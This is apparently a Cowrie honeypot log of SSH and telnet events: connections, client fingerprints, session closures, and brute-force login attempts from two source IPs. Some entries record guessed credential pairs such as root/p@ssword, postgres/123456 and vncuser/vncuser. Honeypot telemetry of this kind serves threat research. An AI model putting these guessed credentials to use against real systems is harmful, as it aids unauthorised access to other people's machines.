{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:44.015916Z","src_ip":"31.40.204.166","session":"c152e305150b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"08515ff0ebbb","protocol":"telnet","message":"New connection: 152.42.224.71:33152 (10.17.0.5:23) [session: 08515ff0ebbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:44.438928Z"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:44.819993Z","src_ip":"31.40.204.166","session":"c152e305150b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:46.012127Z","src_ip":"31.40.204.166","session":"c152e305150b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.39083218574524,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:50.830342Z","src_ip":"152.42.224.71","session":"66d34ee92dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00495052337646,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:54.199761Z","src_ip":"152.42.224.71","session":"c1b926cec7e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51632,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc882227967e","protocol":"telnet","message":"New connection: 152.42.224.71:51632 (10.17.0.5:23) [session: cc882227967e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:55.849026Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54488,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0b4da30112b","protocol":"ssh","message":"New connection: 31.40.204.166:54488 (159.203.135.109:22) [session: a0b4da30112b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:55.883585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:55.891201Z","src_ip":"31.40.204.166","session":"a0b4da30112b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:56.009912Z","src_ip":"31.40.204.166","session":"a0b4da30112b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.15639400482178,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:56.103769Z","src_ip":"152.42.224.71","session":"6d0fa43ff794","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:56.527685Z","src_ip":"31.40.204.166","session":"a0b4da30112b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:57.918425Z","src_ip":"31.40.204.166","session":"a0b4da30112b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":97.3447687625885,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:58.553832Z","src_ip":"152.42.224.71","session":"1fb8ec1cd91b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.118664264678955,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:01.599674Z","src_ip":"152.42.224.71","session":"d6a83c57e055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51636,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f426ebd1b2","protocol":"telnet","message":"New connection: 152.42.224.71:51636 (10.17.0.5:23) [session: e6f426ebd1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:01.674919Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51650,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cbe796b3430","protocol":"telnet","message":"New connection: 152.42.224.71:51650 (10.17.0.5:23) [session: 0cbe796b3430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:04.643699Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51656,"dst_ip":"10.17.0.5","dst_port":23,"session":"61551ced164a","protocol":"telnet","message":"New connection: 152.42.224.71:51656 (10.17.0.5:23) [session: 61551ced164a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:04.922990Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41804,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c8c2541d523","protocol":"telnet","message":"New connection: 152.42.224.71:41804 (10.17.0.5:23) [session: 1c8c2541d523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:07.959832Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44454,"dst_ip":"159.203.135.109","dst_port":22,"session":"709e5bbedb05","protocol":"ssh","message":"New connection: 31.40.204.166:44454 (159.203.135.109:22) [session: 709e5bbedb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:08.204602Z"}
{"eventid":"cowrie.session.closed","duration":53.03018260002136,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:08.274468Z","src_ip":"152.42.224.71","session":"bc3ff3e7e459","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:08.286520Z","src_ip":"31.40.204.166","session":"709e5bbedb05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:08.390640Z","src_ip":"31.40.204.166","session":"709e5bbedb05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:09.115033Z","src_ip":"31.40.204.166","session":"709e5bbedb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:10.408654Z","src_ip":"31.40.204.166","session":"709e5bbedb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41820,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f338f520eed","protocol":"telnet","message":"New connection: 152.42.224.71:41820 (10.17.0.5:23) [session: 8f338f520eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:11.033566Z"}
{"eventid":"cowrie.session.closed","duration":14.048014640808105,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:18.970855Z","src_ip":"152.42.224.71","session":"61551ced164a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50998,"dst_ip":"159.203.135.109","dst_port":22,"session":"b102c4dcd38b","protocol":"ssh","message":"New connection: 31.40.204.166:50998 (159.203.135.109:22) [session: b102c4dcd38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:20.785180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:20.805274Z","src_ip":"31.40.204.166","session":"b102c4dcd38b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:20.909106Z","src_ip":"31.40.204.166","session":"b102c4dcd38b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:21.707101Z","src_ip":"31.40.204.166","session":"b102c4dcd38b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.059160470962524,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:22.003946Z","src_ip":"152.42.224.71","session":"418cd7f74a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155782699585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:22.406529Z","src_ip":"152.42.224.71","session":"19ec6983fef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:22.909879Z","src_ip":"31.40.204.166","session":"b102c4dcd38b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.7746467590332,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:25.213459Z","src_ip":"152.42.224.71","session":"08515ff0ebbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44310,"dst_ip":"10.17.0.5","dst_port":23,"session":"59586a5a4b05","protocol":"telnet","message":"New connection: 152.42.224.71:44310 (10.17.0.5:23) [session: 59586a5a4b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:26.241905Z"}
{"eventid":"cowrie.session.closed","duration":27.284677505493164,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:28.959477Z","src_ip":"152.42.224.71","session":"e6f426ebd1b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44324,"dst_ip":"10.17.0.5","dst_port":23,"session":"d698c4a6005d","protocol":"telnet","message":"New connection: 152.42.224.71:44324 (10.17.0.5:23) [session: d698c4a6005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:31.782550Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48768,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e037feb22c","protocol":"ssh","message":"New connection: 31.40.204.166:48768 (159.203.135.109:22) [session: 96e037feb22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:33.416646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:33.490619Z","src_ip":"31.40.204.166","session":"96e037feb22c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:33.605588Z","src_ip":"31.40.204.166","session":"96e037feb22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44334,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8bd9a10a81a","protocol":"telnet","message":"New connection: 152.42.224.71:44334 (10.17.0.5:23) [session: b8bd9a10a81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:33.840847Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:34.320012Z","src_ip":"31.40.204.166","session":"96e037feb22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:35.488129Z","src_ip":"31.40.204.166","session":"96e037feb22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.04043245315552,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:35.889333Z","src_ip":"152.42.224.71","session":"cc882227967e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53282,"dst_ip":"10.17.0.5","dst_port":23,"session":"c23fc105e1c4","protocol":"telnet","message":"New connection: 152.42.224.71:53282 (10.17.0.5:23) [session: c23fc105e1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:38.710536Z"}
{"eventid":"cowrie.session.closed","duration":120.00495791435242,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:42.208107Z","src_ip":"152.42.224.71","session":"b9c83b455a13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44042,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dfb1a483aac","protocol":"ssh","message":"New connection: 31.40.204.166:44042 (159.203.135.109:22) [session: 5dfb1a483aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:44.916797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:44.992668Z","src_ip":"31.40.204.166","session":"5dfb1a483aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:45.107980Z","src_ip":"31.40.204.166","session":"5dfb1a483aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:45.702781Z","src_ip":"31.40.204.166","session":"5dfb1a483aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:46.826987Z","src_ip":"31.40.204.166","session":"5dfb1a483aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33660,"dst_ip":"10.17.0.5","dst_port":23,"session":"03dc6974986f","protocol":"telnet","message":"New connection: 152.42.224.71:33660 (10.17.0.5:23) [session: 03dc6974986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:47.093224Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33662,"dst_ip":"10.17.0.5","dst_port":23,"session":"c58c848d1479","protocol":"telnet","message":"New connection: 152.42.224.71:33662 (10.17.0.5:23) [session: c58c848d1479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:49.069452Z"}
